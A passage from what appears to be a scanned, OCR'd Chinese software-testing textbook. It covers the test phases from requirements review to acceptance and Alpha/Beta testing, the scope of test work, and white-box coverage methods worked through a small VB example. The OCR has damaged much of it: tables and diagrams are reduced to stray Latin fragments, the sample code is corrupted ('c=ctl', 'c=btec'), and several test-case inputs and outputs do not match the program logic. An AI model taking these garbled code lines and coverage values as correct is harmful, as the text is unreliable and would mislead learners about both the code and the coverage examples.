件 系 统 或 产品 可 以 进行 适当 的 裁减 或 合并 ,如 单元 测试 和 集成 测试 可 以 合并 、 验 收 测试 和 安 
装 测试 可 以 合并 ,如 表 2-1 所 示 。 


功能 规格 实际 使 用 环境 
F > — wa. | | 
MERAB] oy EMR) ita O ER | PAR 
- 1 1 1 1 1 
a i 1 į 1 i 
| 元 测试 六 | [时 成 | oe aal eel ak 
测试 | “| 测试 | | 测试 | | 测试 | “| 测试 
系统 和 程序 | 。 | | i | ' 
设计 审查 [| 单元 测试 ERAS |。 可 发 布 的 系统 ; 
功能 正常 的 系统 投入 使 用 
图 2-8 软件 测试 阶段 示意 图 
表 2-1 各 测试 阶段 输入 和 输出 标准 
OR 输 A 输 出 
Ee ee Te T 
需求 分 析 | 需求 定义 ,市 场 分 析 文 档 ,相关 技术 文档 nana sili 
设计 审查 | 市 场 需求 文档 ,技术 设计 文档 测试 计划 ,测试 用 例 
功能 由 证 | 信友 完成 文件 包 , 功 能 译 细 设计 说 明 书 ; | Se REA ART N 
最 终 技术 文档 告 , 功 能 验证 测试 报告 
全 
系统 测试 | 代码 修改 后 的 文件 包 AOA 
完整 测试 用 例 , 完 各 的 测试 计划 eld 
za 症状 态 报告 .缺陷 报告 
eum OE BARC: WRI WE 
验收 测试 用 例 版 本 审查 ,验收 报告 
many | 代码 发 布 文件 包 当前 版 本 已 知 问题 的 清音 
测试 计划 检查 清单 版 本 发 布 报告 


1. 规格 说 明 书 审查 


需求 分 析 规 格 说 明 书 是 否 完整 .正确 、 清 晰 ,这 是 软件 开发 成 败 的 关键 。 为 了 保证 需求 


定义 的 质量 ,应 对 其 进行 严格 的 审查 。 测 试 人 员 要 参与 系统 或 产品 需求 分 析 , 认 真 阅读 有 关 
用 户 需 求 分 析 文档 ,真正 理解 客户 的 需求 ,检查 规格 说 明 书 对 产品 描述 的 准确 性 .一致 性 等 ， 
为 今后 熟悉 应 用 系统 、 编 写 测试 计划 .设计 测试 用 例 等 做 好 准备 工作 。 需 求 审查 是 一 种 静态 
的 黑 盒 测 试 方法 。 

2. 系统 和 程序 设计 审查 

软件 设计 是 基于 对 用 户 需 求 理 解 的 基础 上 ,借助 计算 机 技术 ,将 客户 的 需求 转换 成 计算 
机 软件 表示 的 过 程 ,其 设计 的 结果 能 描述 出 系统 结构 和 逻辑 .数据 输入 .详细 处 理 过 程 .数据 
存储 模式 .数据 输出 等 。 例 如 ,可 以 按照 需求 规格 说 明 书 对 系统 结构 的 合理 性 .处理 过 程 的 
正确 性 进行 评价 ,同时 利用 关系 数据 库 的 规范 化 理论 对 数据 库 模 式 进行 审查 。 

代码 会 审 是 一 种 静态 的 白 盒 测试 方法 ,是 由 一 组 人 通过 阅读 ,讨论 来 审查 程序 结构 \ 代 
码 风 格 .算法 等 的 过 程 。 会 审 小 组 由 组 长 .3 一 5 名 程序 设计 人 员 、 编 程 人 员 和 测试 人 员 组 
成 。 会 审 小 组 在 充分 阅读 待 审 程序 文本 ,控制 流程 图 及 有 关 要 求 、 规 范 等 文件 基础 上 ,召开 
代码 会 审 会 ,程序 员 逐 句 讲解 程序 的 逻辑 并 回答 其 他 人 员 提 出 的 问题 ,对 有 争议 的 问题 进行 
讨论 ,以 达成 一 致意 见 或 得 到 解决 方案 。 实 践 表明 ,代码 会 审 做 得 好 可 以 发 现 大 部 分 程序 缺 
陷 , 甚 至 程序 员 在 自己 讲解 过 程 中 就 能 发 现 不 少 代 码 错误 ,而 讨论 可 能 进一步 促使 问题 暴 
露 。 例 如 ,对 某 个 全 局 变量 的 默认 值 改 变 或 某 个 参数 变量 选项 改变 的 讨论 ,可 能 发 现 与 之 有 
关 的 ,甚至 能 涉及 模块 间接 口 和 系统 结构 参数 的 大 问题 ,从 而 进行 程序 结构 的 调整 .参数 的 
优化 ,最 终 改 善 软件 的 质量 。 

3. 单元 测试 

高 可 靠 性 的 单元 是 组 成 可 靠 系统 的 坚实 基础 ,单元 测试 在 质量 保证 活动 中 举足轻重 。 
单元 测试 是 在 编码 阶段 .针对 每 个 程序 单元 而 进行 的 测试 ,其 测试 的 对 象 是 程序 系统 中 的 最 
小 单元 一 一 类 、 函 数 、 模 块 或 组 件 等 。 单 元 测试 主要 使 用 白 盒 测试 方法 ,从 程序 的 内 部 结构 
出 发 设计 测试 用 例 ,检查 程序 模块 或 组 件 已 实现 的 功能 与 定义 的 功能 是 否 一 致 ,以 及 编码 中 
是 否 存在 错误 。 多 个 单元 可 以 平行 地 、 独 立地 被 测试 ,通常 要 编写 驱动 程序 和 桩 程序 。 

由 于 单元 规模 小 、 功 能 单一 .逻辑 简单 ,测试 人 员 有 可 能 通过 技术 设计 文档 .与 开发 人 员 
交流 和 源 程 序 等 清楚 地 了 解 单元 输入 输出 (I/O) 条 件 和 逻辑 结构 。 采 用 白 盒 方法 的 结构 化 
测试 用 例 ,然后 辅 以 功能 测试 用 例 , 使 之 对 任何 合理 和 不 合理 的 输入 都 能 鉴别 和 响应 ,从 而 
能 达到 较为 彻底 的 测试 。 

单元 测试 是 测试 执行 的 开始 阶段 ,而 且 与 程序 设计 和 实现 有 非常 紧密 的 关系 ,所 以 单元 
测试 一 般 由 编程 人 员 和 测试 人 员 共 同 完成 ,编程 人 员 一 般 起 主导 作用 。 在 单元 测试 中 ,除了 
上 述 的 IO 条件, 程序 逻辑 结构 、 程 序 路 径 等 实际 测试 手段 之 外 ,还 会 采取 其 他 辅助 手段 ， 
如 代码 走读 (code review) .静态 分 析 (static analysis) 和 动态 分 析 (dynamic analysis) 等 。 

4. 集成 测试 

集成 测试 ,也 称 组 装 测试 .联合 测试 . 子 系统 测试 ,在 单元 测试 的 基础 上 ,按照 设计 要 求 
不 断 进行 集成 而 进行 的 相应 测试 ,目的 是 发 现 单元 之 间 的 接口 问题 ,如 接口 参数 类 型 不 匹 
配 、 接 口 数 据 在 传输 中 丢失 ,数据 误差 不 断 积累 等 问题 。 

选择 什么 样 的 方式 把 单元 组 装 起 来 形成 一 个 可 运行 的 系统 ,直接 影响 到 测试 成 本 测试 
计划 ,测试 用 例 的 设计 ,测试 工具 的 选择 等 。 通 常 有 两 种 集成 方式 : 一 次 性 集成 方式 和 渐 增 


式 集成 方式 ,但 一 般 要 求 采用 渐 增 式 集成 方式 。 
© 一 次 性 集成 方式 。 首 先 对 各 个 单元 分 别 进行 测试 ,然后 再 把 所 有 单元 组 装 在 一 起 进 
行 测试 ,最 终 得 到 要 求 的 软件 系统 。 
。 渐 增 式 集成 方式 。 首 先 对 某 两 、 三 个 单元 进行 测试 ,然后 将 这 些 单元 逐步 组 装 成 较 
大 的 系统 。 在 组 装 的 过 程 中 ,一边 连接 一 边 测试 ,以 发 现 连接 过 程 中 产生 的 问题 ,最 
后 完成 所 有 单元 的 集成 ,构造 为 一 个 完整 的 软件 系统 。 

5. 功能 测试 

功能 测试 应 该 在 集成 测试 完成 之 后 进行 ,而 且 是 针对 应 用 系统 进行 测试 。 功 能 测试 是 
基于 产品 功能 说 明 书 、 用 户 角度 来 对 各 项 功能 进行 验证 ,以 确认 每 个 功能 是 否 都 能 正常 使 
用 。 在 测试 时 ,不 考虑 程序 内 部 结构 和 实现 方式 ,只 检查 程序 功能 是 否 按 照 需求 规格 说 明 书 
的 规定 正常 使 用 ,程序 是 否 能 适当 地 接收 输入 数据 而 产生 正确 的 输出 信息 ,并 且 保 持 外 部 信 
息 ( 如 数据 库 或 文件 ) 的 完整 性 。 功 能 测试 包括 用 户 界面 .各 种 操作 不 同 的 数据 输入 输出 和 
存储 等 的 测试 。 

6. 系统 测试 

系统 测试 是 实际 运行 环境 (包括 软 硬 件 平台 、 第 三 方 支持 软件 ,用户 数 据 量 等 ) 或 模拟 实 
际 运 行 环境 之 上 ,针对 系统 的 非 功 能 特性 所 进行 的 测试 ,包括 负载 测试 性 能 测试 .灾难 恢复 
性 测试 .安全 测试 和 可 靠 性 测试 等 。 

7. 安装 测试 

安装 测试 是 在 一 个 真实 的 用 户 环境 中 或 相当 于 用 户 使 用 的 环境 中 ,按照 软件 产品 安装 
手册 或 相应 的 文档 ,一 步 一 步 验证 安装 过 程 和 相应 的 设置 ,并 验证 完成 安装 的 系统 能 否 正常 
工作 。 安 装 测试 主要 进行 以 下 3 个 方面 的 测试 : 

© 环境 的 不 同 设置 或 配置 。 强 调用 户 的 使 用 环境 ,考虑 各 种 环境 因素 (包括 硬件 接口 ) 

的 影响 ,如 在 一 个 完全 胃 新 ,非常 干净 的 操作 系统 上 安装 某 个 软件 。 

。 安 装 文档 的 准确 性 。 进 行 安装 测试 时 ,必须 一 步 一 步 地 完全 按照 文档 去 做 ,不 能 下 

意识 地 使 用 自己 已 有 的 经 验 或 知识 来 完成 安装 。 

。 安 装 的 媒体 制作 是 否 有 问题 ,包括 最 后 制作 时 可 能 会 丢 了 一 个 文件 ,或 感染 上 计算 

机 病毒 等 。 

8. 验收 测试 

验收 测试 的 目的 是 向 未 来 的 用 户 表明 系统 能 够 像 预定 要 求 那样 工作 ,验证 软件 的 功能 
和 性 能 及 其 他 特性 是 否 与 用 户 的 要 求 一 致 。 基 于 需求 规格 说 明 书 和 用 户 信息 ,验证 软件 的 
功能 和 性 能 及 其 他 特性 。 验 收 测试 ,一 般 要 求 在 实际 的 用 户 环境 上 进行 ,并 和 用 户 共同 
完成 。 

一 个 软件 产品 或 互联 网 软件 服务 拥有 众多 用 户 ,不 可 能 由 每 个 用 户 验收 ,此 时 采用 称 为 
Alpha(o) 测 试 .Beta(B) 测 试 的 过 程 。Alpha 测试 是 指 软 件 开发 公司 内 部 人 员 开 始 测试 新 产 
品 ( 称 为 Alpha 版 本 ) ,在 实际 运行 环境 和 真实 应 用 过 程 中 发 现 测试 阶段 所 没有 发 现 的 缺 
Kio Z Alpha 测试 和 修正 的 软件 产品 称 为 Beta 版 本 。 紧 随 其 后 的 Beta 测试 是 指 公司 外 
部 的 典型 用 户 试用 ,并 要 求 用 户 报告 异常 情况 、 提 出 批评 意见 ,然后 再 对 Beta 版 本 进行 修正 
和 完善 ,最 终 得 到 正式 发 布 的 版 本 。Beta 版 本 是 比较 常见 的 试用 版 本 ,在 互联 网 应 用 系统 


中 更 为 普遍 。 


2.5 软件 测试 的 工作 范畴 


了 解 软 件 测试 各 个 阶段 任务 之 后 ,就 要 开始 通过 一 系列 的 测试 活动 来 完成 各 个 阶段 所 
规定 的 测试 任务 。 这 些 活 动 将 包括 测试 计划 制定 测试 用 例 设 计 、 测 试 工具 选择 、 测 试 脚本 
开发 .测试 评 审 、 测 试 执行 ,测试 结果 分 析 、 产 品质 量 评估 等 。 

虽然 每 个 阶段 具体 的 任务 和 要 求 是 不 一 样 的 ,但 软件 测试 工作 的 基本 范畴 是 一 样 的 , 软 
件 测试 工作 范畴 ,可 以 分 为 两 个 层次 。 

。 软 件 测试 工作 的 组 织 与 管理 : 制定 测试 策略 、 测 试 计划 ,确认 所 采用 的 测试 方法 与 

规范 ,控制 测试 进度 ,管理 测试 资源 。 

。 测试 工作 的 实施 : 编制 符合 标准 的 测试 文档 ,搭建 测试 环境 ,开发 测试 脚本 .与 开发 

组 织 协作 实现 各 阶段 的 测试 活动 。 

要 做 好 软件 测试 工作 ,首先 要 确定 测试 的 目标 ,只 有 目标 清楚 和 正确 ,下 面 各 个 环节 才 
可 能 沿 着 正确 的 方向 前 进 。 其 次 ,要 确定 测试 的 对 象 .范围 依据 和 约束 条 件 , 这 些 是 测试 的 
基本 要 素 。 在 掌握 了 这 些 基 本 要 素 之 后 ,才能 确定 测试 的 方法 、 设 计 测 试用 例 和 开发 测试 脚 
本 。 在 测试 用 例 设 计 或 测试 脚本 开发 完成 之 后 ,然后 开始 执行 测试 。 在 测试 实施 过 程 中 ,要 
发 现 问题 ,跟踪 问题 并 解决 问题 ,最 终 获 得 可 靠 的 测试 结果 ,如 图 2-9 所 示 。 


制定 测试 的 


目标 和 依据 


1 
一 一 二 一] 确定 测试 对 象 、 
测试 需求 分 析 K 测试 范围 等 


1 f 测试 工作 量 估算 、 资 源 
制定 测试 计划 | 估算 、 进 度 安排 、 风 险 
\ 评 估 、 制 定 策略 等 


设计 测试 用 例 开发 测试 工具 或 脚本 


i 
执行 测试 


1 
测试 结果 分 析 


图 2-9 测试 工作 流程 示意 图 


为 了 更 简要 描述 上 述 测试 工作 流程 ,可 以 将 它们 概括 为 下 列 6 个 主要 方面 。 

(1) 测试 组 织 和 管理 : 建立 测试 队伍 ,设立 不 同 功 能 或 执行 不 同 任务 的 测试 小 组 ,并 对 
测试 用 例 、 软 件 缺 陷 ,测试 执行 ,测试 文 档 等 管理 。 

(2) 测试 计划 : 确定 测试 目标 和 测试 范围 ,分 析 哪 些 功能 要 测试 .哪些 功能 不 要 测试 ， 


识别 测试 风险 ,对 测试 工作 量 进 行 预 估 ,以 决定 人 力 资源 和 做 出 合理 的 进度 安排 。 一 般 来 
说 ,开发 组 负责 编制 单元 测试 的 计划 和 说 明 ,而 测试 组 负责 编制 功能 、 系 统 等 其 他 阶段 的 测 
试 计划 和 说 明 。 

(3) 测试 用 例 设计 : 为 了 更 有 效 地 进行 测试 ,需要 考虑 各 种 软件 使 用 的 场景 和 操作 路 
径 ,设计 出 最 有 可 能 发 现 缺陷 的 用 例 。 

(4) 测试 实施 : 按 测试 计划 与 测试 说 明 的 定义 对 测试 对 象 进行 相应 的 测试 ,填写 测试 
报告 中 相应 的 表格 。 

(5) 测试 结果 分 析 : 对 测试 结果 进行 定量 和 定性 的 分 析 , 以 检查 测试 工作 执行 的 状态 。 

(6) 测试 评审 与 报告 : 依据 软件 测试 评审 准则 在 各 测试 阶段 评审 时 提交 类 型 完整 的 测 
试 文档 。 


小 结 


软件 测试 是 软件 质量 保证 的 手段 ,软件 测试 基于 两 个 最 基本 的 概念 来 展开 ,这 两 个 基本 
概念 就 是 质量 和 客户 。 软 件 质 量 就 是 客户 的 满意 度 , 而 测试 就 是 时 时 刻 刻 从 客户 的 角度 出 
发 ,验证 软件 产品 是 否 满足 客户 的 实际 需求 。 软 件 产品 的 质量 不 仅 包含 功能 性 需求 ,而 且 包 
含 非 功能 性 需求 ,如 适用 性 有 效 性 、 可 靠 性 和 性 能 等 。 

软件 测试 的 主要 目的 之 一 就 是 尽快 尽早 地 发 现 软件 缺陷 ,而 软件 缺陷 是 由 软件 本 身 、 团 
队 工 作 和 技术 问题 等 多 方面 因素 引起 的 ,而 且 集 中 在 需求 分 析 、 系 统 设计 这 两 个 阶段 ,代码 
的 错误 通常 要 比 需求 分 析 书 、 设 计 规格 说 明 书 所 存在 的 问题 要 少 。 

软件 测试 可 以 根据 测试 对 象 .测试 目标 、 测 试 过 程 等 进行 分 类 ,通过 分 类 可 以 使 我 们 全 
面 地 了 解 测试 的 概貌 和 内 容 。 软 件 测试 工作 范畴 则 分 为 两 个 层次 : 软件 测试 工作 的 组 织 与 
管理 和 测试 工作 的 实施 ,其 具体 内 容 包括 6 个 方面 : 测试 组 织 和 管理 ,测试 计划 、 测 试用 例 
设计 ,测试 实施 、 测 试 结果 分 析 和 测试 评审 与 报告 。 


思考 题 


1. 如 何 看 待 软件 测试 在 保证 软件 产品 质量 中 所 起 的 作用 ? 

2. 如 何 理解 软件 质量 和 软件 缺陷 的 对 立 统一 关系 ? 

3. 从 修复 软件 缺陷 的 代价 来 讨论 测试 为 什么 要 尽早 开始 。 

4. 结合 测试 目标 ,来 分 析 测 试 工作 的 各 项 主要 内 容 。 

5. 需求 分 析 、 系 统 设计 所 存在 的 问题 在 软件 缺陷 中 占有 较 大 比例 ,对 软件 开发 和 测试 
工作 有 何 启 发 ? 


CHAPTER 3 
a 
第 3 章 


软件 测试 万 法 


通过 对 软件 缺陷 的 产生 分类、 构成 所 做 的 讨论 ,使 我 们 更 容易 理 
解 软 件 测试 的 目的 ,软件 测试 是 为 了 更 快 .更 早 地 将 软件 产品 或 软件 
系统 中 所 存在 的 各 种 问题 找 出 来 ,并 促使 系统 分 析 人 员 ,设计 人 员 和 
程序 员 尽快 地 解决 这 些 问题 ,最 终 及 时 地 向 客户 提供 高 质量 的 软件 产 
品 。 要 做 到 这 一 点 ,确保 在 有 限 的 时 间 内 找 出 系统 中 绝 大 部 分 的 软件 
缺陷 ,必须 依赖 有 效 的 软件 测试 方法 。 在 掌握 了 有 关 软 件 测试 的 背 
景 . 基 本 概念 和 过 程 之 后 ,需要 掌握 软件 测试 的 方法 。 软 件 测试 方法 ， 
可 以 从 宏观 和 微观 两 个 方面 看 。 从 宏观 看 软件 测试 方法 ,也 就 是 讨论 
软件 测试 的 方法 论 。 
。 从 方法 论 看 ,更 多 体现 了 一 种 哲学 的 思想 ,例如 辩证 统一 的 方 
法 ,在 测试 中 有 许多 对 立 统一 体 , 如 静态 测试 和 动态 测试 、 白 
盒 测试 和 黑 盒 测 试 .自动 化 测试 和 手工 测试 等 。 
。 软 件 测试 的 方法 论 来 源 于 软件 工程 的 方法 论 ,例如 有 面向 对 
象 的 开发 方法 ,就 有 面向 对 象 的 测试 方法 ; 有 敏捷 方法 ,就 有 
和 敏捷 方法 对 应 的 测试 方法 。 
从 微观 看 软件 测试 方法 ,就 是 软件 测试 过 程 中 所 使 用 的 .具体 的 
测试 方法 ,例如 等 价 类 划分 .边界 值 分 析 、` 正 交 试 验方 法 等 。 


3.1 白 盒 测试 方法 


从 哲学 观点 看 ,分 析 问 题 和 解决 问题 的 方法 有 两 种 : 白 盒 方法 和 
黑 盒 方 法 。 所 谓 白 盒 方法 就 是 能 够 看 清楚 事物 的 内 部 , 即 了 解 事物 的 
内 部 结构 和 运行 机 制 ,通过 剖析 事物 的 内 部 结构 和 运行 机 制 ,来 处 理 
和 解决 问题 。 如 果 我 们 没有 办 法 或 不 去 了 解 事物 的 内 部 结构 和 运行 
机 制 ,而 把 整个 事物 看 成 一 个 整体 一 一 黑 盒子 ,通过 分 析 事物 的 输入 、 
输出 以 及 周边 条 件 来 分 析 和 处 理 问题 ,这 种 方法 就 是 黑 盒 方法 。 

软件 测试 具有 相 类 似 的 哲学 思想 。 根 据 是 针对 软件 系统 的 内 部 
结构 ,还 是 针对 软件 系统 的 外 部 表现 行为 来 采取 不 同 的 测试 方法 ,分 
别 被 称 为 白 盒 测 试 C(white-box testing) 方 法 和 黑 盒 测试 (black-box 


testing) 方 法 。 下 面 先 讨论 白 盒 测试 方法 ,然后 在 3. 2 节 讨 论 黑 盒 测试 方法 。 

白 盒 测试 ,也 称 结构 测试 或 逻辑 驱动 测试 ,也 就 是 已 知 产品 的 内 部 工作 过 程 ,清楚 最 终 
生成 软件 产品 的 计算 机 程序 结构 及 其 语句 ,按照 程序 内 部 的 结构 测试 程序 ,测试 程序 内 部 的 
变量 状态 、 人 逻辑 结构 、 运 行路 径 等 ,检验 程序 中 的 每 条 通路 是 否 都 能 按 预 定 要 求 正确 工作 , 检 
查 程序 内 部 动作 或 运行 是 否 符合 设计 规格 要 求 ,所 有 内 部 成 分 是 否 按 规定 正常 进行 ,如 
图 3-1 所 示 。 


1 
图 3-1 白 盒 测试 方法 示意 图 


白 盒 测试 是 基于 覆盖 的 测试 , 尽 可 能 履 盖 程序 的 结构 特性 和 逻辑 路 径 , 所 以 其 具体 
方法 有 逮 辑 覆盖 、 循 环 覆 盖 、 基 本 路 径 覆 盖 等 。 偿 辑 覆 盖 又 可 进一步 分 为 语句 覆盖 、 判 定 
覆盖 .条 件 覆 盖 、 判 定 /条 件 覆 盖 .条件 组 合 覆 盖 等 。 白 盒 测试 主要 用 于 单元 测试 ,其 基本 
原则 有 : 

。 保证 每 个 模块 中 所 有 独立 路 径 至 少 被 使 用 一 次 。 

。 完成 所 有 人 逻辑 值 分 别 为 真 值 (true) 和 假 值 (false) 的 条 件 下 的 测试 。 

。 在 上 下 边界 及 可 操作 范围 内 运行 所 有 循环 ,完成 循环 覆盖 测试 。 

。 检查 内 部 数据 结构 以 确保 其 有 效 性 ,完成 边界 条 件 的 测试 。 

白 盒 测试 法 试图 穷 举 路 径 测 试 ,但 几乎 不 可 能 ,因为 贯穿 一 定 规模 的 系统 程序 的 独立 路 
径 数 可 能 是 一 个 天 文 数字 。 企 图 遍历 所 有 的 路 径 是 很 难 做 到 的 ,即使 每 条 路 径 都 测试 了 , 履 
盖 率 达到 100% ,程序 仍 可 能 出 错 。 

。 穷 举 路 径 测试 绝 不 能 查 出 程序 违反 了 设计 规范 , 即 程序 在 实现 一 个 不 是 用 户 需 要 的 

功能 。 

。 穷 举 路 径 测试 不 可 能 查 出 程序 中 因 遗 漏 路 径 而 出 错 。 

。 穷 举 路 径 测 试 可 能 发 现 不 了 一 些 与 数据 相关 的 异常 错误 。 


3.1.1 语句 覆盖 


语句 覆盖 法 的 基本 思想 是 设计 若干 测试 用 例 ,运行 被 测 程序 ,使 程序 中 的 每 个 可 执行 语 
名 至少 被 执行 一 次 。 


示例 程序 源码 

Dim a,b As Integer 
Dim c As Double 
If (a > 0 ANDb > 0) Then 

c= c/a 
End If 
If (a>1 ORc>1) Then 

c=ctl 
End If 
c=btec 


程序 流程 图 如 图 3-2 (a) Stas ,可 以 简化 为 流程 图 (b) ,其 中 : 


条 件 M= {a>0 and b>0} 
条 件 N= {a>1 orc>1} 


T 2 
>0 and b> T c=c/a M K 


a>1orc>1 c=c+1 N as J 
| sE 
1 1 
c=bte P 
(a) 流程 图 A (b) 流程 图 B 
图 3-2 程序 流程 图 


由 流程 图 B 可 以 知道 ,该 程序 模块 有 4 条 不 同 的 路 径 : 


P1: (1-2-4) 即 M= .T. H N= .T. 

P2: (1-2-5) 即 M= .T. H N= .FE. 

P3: (1-3-4) 即 M= .F. H N= .T. 

P4: (1-3-5) 即 M= .F. H N= .F. 

Pl 包含 了 所 有 可 执行 语句 ,按照 语句 覆盖 的 测试 用 例 设 计 原 则 ,可 以 使 用 Pl 来 设计 测 
试用 例 。 令 a 二 2,b 二 1,c 二 6, 会 得 到 输出 {a 二 2,b 二 1,c 二 5), 此 时 满足 条 件 M{a>0 and 
b>0} 和 条 件 N{a>1 or c>1) ,这 样 ,测试 用 例 的 输入 {a 二 2,b 二 1,c 王 6} 覆盖 路 径 P1 

在 使 用 语句 覆盖 法 进行 测试 用 例 设计 时 ,能 够 使 得 所 有 的 执行 语句 都 能 被 测试 ,但 是 不 
能 准确 的 判断 运算 中 的 逻辑 关系 错误 。 在 这 个 例子 里 面 ,如 果 M 的 条 件 是 a>0 or b>0, 而 
不 是 and 关系 ,这 时 的 测试 用 例 仍然 可 以 覆盖 所 有 可 执行 语句 ,但 不 能 发 现 其 中 的 逻辑 错 
误 , 如 下 所 示 。 


示例 程序 源码 
Dim a,b As Integer 
Dim c As Double 
If (a> 0 ORb > 0) Then "错误 ! 但 测试 结果 相同 
c= c/a 
End If 
If (a>1 ORc>1) Then 
c=ctl 
End If 
c=bte 


3.1.2 判定 覆盖 


判定 覆盖 法 的 基本 思想 是 设计 若干 用 例 ,运行 被 测 程序 ,使 得 程序 中 每 个 判断 的 取 真 分 
支 和 取 假 分 支 至 少 经 历 一 次 , 即 判断 真 假 值 均 曾 被 满足 。 一 个 判定 往往 代表 着 程序 的 一 个 
分 支 ,所 以 判定 覆盖 也 被 称 为 分 支 覆 盖 。 按 照 判 定 覆 盖 的 基本 思路 ,可 以 这 样 针 对 上 面 提 到 
的 测试 的 用 例 进 行 设计 ,P1 和 P4 可 以 作为 测试 用 例 ,如 表 3-1 所 示 。 


表 3-1 判定 覆盖 的 测试 用 例 


测试 用 例 具体 取 值 条 件 判定 条 件 通过 路 径 
入 ，{a 一 2,b 一 1,c 一 6} M=.T. 
peat la j a>0,b>0,a>1,c>1 P1(1-2-4) 
输出 : (a=2,b=1.c=5} N=.T. 
A. (a=—2,b=1,-=—6} M=.F, 
a<=0,b>0,a<=1,c<=1 P4(1-3-5) 
输出 : {a=—2,b=1,c=—5} N=.F. 


。 设 计 输 入 ,使 测试 可 以 覆盖 路 径 Pl1, 即 M{a>0 and b>0} 和 条 件 N{a>1 or c>1) 
设计 输入 ,使 测试 可 以 覆盖 路 径 P4, 即 M(a>0 and b>} 和 条 件 N{a>1 or c>1} 
都 不 成 立 。 

判定 覆盖 设计 测试 用 例 时 会 忽略 条 件 中 取 * 或 COR)” 的 情况 ,例如 ,在 上 面 的 例子 中 ,如 
果 条 件 N 中 是 <1 而 不 是 c>1, 同 样 能 得 到 相同 的 测试 结果 。 


示例 程序 源码 
Dim a,b As Integer 
Dim c As Double 
If (a> 0 ANDb > 0) Then 
c= c/a 
End If 
If (a>1 ORc<1) Then ' 错 误 ! 但 测试 结果 相同 
c=ctl 
End If 
cepte 


3.1.3 条 件 覆 盖 


条 件 覆 盖 的 基本 思想 是 设计 若干 测试 用 例 ,执行 被 测 程序 以 后 ,要 使 每 个 判断 中 每 个 条 
件 的 可 能 取 值 至 少 满足 一 次 。 对 于 第 一 个 判定 条 件 M, 可 以 分 割 如 下 : 

。 条 件 a>0; 取 真 (TRUE) 时 为 T1, 取 假 (FALSE) 时 为 Fl1; 

。 条 件 b>0: 取 真 (TRUE) 时 为 T2, 取 假 (FALSE) 时 为 F2。 

对 于 第 二 个 判定 条 件 N: 

。 条 件 a 二 1: 取 真 (TRUE) 时 为 T3, 取 假 (FALSE) 时 为 F3; 

。 条 件 c>1: 取 真 (TRUE) 时 为 T4, 取 假 (FALSE) 时 为 F4。 

根据 条 件 覆 盖 的 基本 思想 ,要 分 别 获得 8 个 条 件 取 值 ,组 合成 测试 用 例 , 如 表 3-2 所 示 。 

表 3-2 条 件 覆盖 的 测试 用 例 
测试 用 例 取 值 条 件 具体 取 值 条 件 通过 路 径 

MA: a=2,b= 一 1,c= 一 2 
输出 , a=2,b= 一 1,c= 一 2 
输入 : a= 一 1,b=2,c=3 
输出 : a= 一 1,b=2,c=6 


T1,F2,T3,F4 a>0,b<=0,a>1,c<=1 P3(1-3-4) 


Fl,T2,F3,T4 a<=0,b>0,a<=1,c>1 P3(1-3-4) 


保证 每 个 条 件 的 取 真 、 取 假 都 被 至 少 运行 一 次 的 测试 用 例 设计 可 能 还 有 好 几 种 ,而 这 里 
两 个 用 例 , 条 件 取 值 不 同 , 但 覆盖 了 相同 的 路 径 。 可 以 看 到 ,在 这 种 测试 用 例 设计 方法 中 , 测 
试用 例 没有 满足 前 面 提 到 的 判定 覆盖 的 要 求 , 即 判定 条 件 M 和 N 的 真 假 没有 至 少 被 执行 
一 次 ,而 是 M 总 是 取 假 .N 总 是 取 真 ,这 样 测试 可 能 会 遗漏 程序 逻辑 错误 。 所 以 说 ,所 有 条 
件 覆 盖 都 满足 了 ,也 不 能 保证 所 有 判定 (分 支 ) 覆 盖 被 测试 ,所 以 要 引入 判定 -条 件 覆 盖 , 使 测 
试 更 充分 。 
3.1.4 判定 -条 件 覆 盖 

判定 -条 件 覆 盖 实 际 上 是 将 前 两 种 方法 结合 起 来 的 一 种 设计 方法 , 它 是 判定 和 条 件 覆 盖 
设计 方法 的 交集 , 即 设计 足够 的 测试 用 例 , 使 得 判断 条 件 中 的 所 有 条 件 可 能 取 值 至 少 执行 一 
次 ,同时 ,所 有 判断 的 可 能 结果 至 少 执行 一 次 。 按 照 这 种 思想 ,结合 前 面 的 讨论 ,在 前 面 的 例 
子 中 ,应 该 至 少 保证 判定 条 件 M 和 N 取 真 和 取 假 各 一 次 ,同时 要 保证 8 个 条 件 取 值 (TI1， 
F1,T2,F2,…,F4) 也 至 少 被 执行 一 次 ,也 就 是 设计 出 表 3-3 的 两 种 输入 数据 。 

表 3-3 判定 -条 件 覆盖 的 测试 用 例 


测试 用 例 取 值 条 件 具体 取 值 条 件 判定 条 件 | 通过 路 径 

输入 : a=2,b=1,c=6 M=.T. 
T1,T2,T3,T4 | a>0,b>0,a>1.c>1 P1(1-2-4) 

输出 : a=2,b=1,c=5 N=.T. 

输入 : a=—1.b=—2.c=—3 M=.F. 
F1,F2.F3.F4 | a<=0.b<=0.a<=1.ce<=1 P4(1-3-5) 

输出 : a= 一 1,b= 一 2,c= 一 5 N=.F. 


这 样 设计 测试 用 例 ,依然 可 能 会 忽视 代码 中 出 现 的 错误 。 如 表 3-3 的 第 二 个 测试 用 例 
和 表 3-1 的 第 二 个 测试 用 例 取 值 有 差异 (一 个 是 b 之 0, 一 个 是 b<= 0) ,但 通过 的 路 径 是 一 


样 的 ,都 是 P4, 另 外 两 条 路 径 (P2、P3) 的 测试 没有 被 覆盖 。 这 时 ,如 果 条 件 N 中 的 c 二 1 被 
错误 写成 c>1, 还 是 发 现 不 了 。 为 了 使 程序 得 到 足够 的 测试 ,不 仅 每 个 条 件 被 测试 ,而 且 每 
个 条 件 的 组 合 也 应 该 被 覆盖 ,这 就 是 下 节 要 讨论 的 条 件 组 合 覆盖 。 
3.1.5 条 件 组 合 覆盖 

条 件 组 合 履 盖 的 基本 思想 是 设计 足够 的 测试 用 例 , 使 得 判断 中 每 个 条 件 的 所 有 可 能 至 
少 出 现 一 次 ,并 且 每 个 判断 本 身 的 判定 结果 也 至 少 出 现 一 次 。 它 与 条 件 覆 盖 的 差别 是 它 不 
是 简单 地 要 求 每 个 条 件 都 出 现 “ 真 ”与 “ 假 "两 种 结果 ,而 是 要 求 让 这 些 结果 的 所 有 可 能 组 合 
都 至 少 出 现 一 次 。 

按照 条 件 组 合 覆 盖 的 基本 思想 ,对 于 前 面 的 例子 ,设计 组 合 条 件 如 表 3-4 所 示 。 

表 3-4 示例 存在 的 8 种 组 合 条 件 


组 合 编 号 覆盖 条 件 取 值 判定 -条 件 取 值 判定 -条 件 组 合 
1 T1,T2 M=.T. a>0.b>0.M WH 
2 T1,F2 M=.F. a>0.b<=0.M 取 假 
3 F1,T2 M=.F, a<=0,b>0,M 取 假 
4 F1,F2 M=.F, a<=0.b<=0.M 取 假 
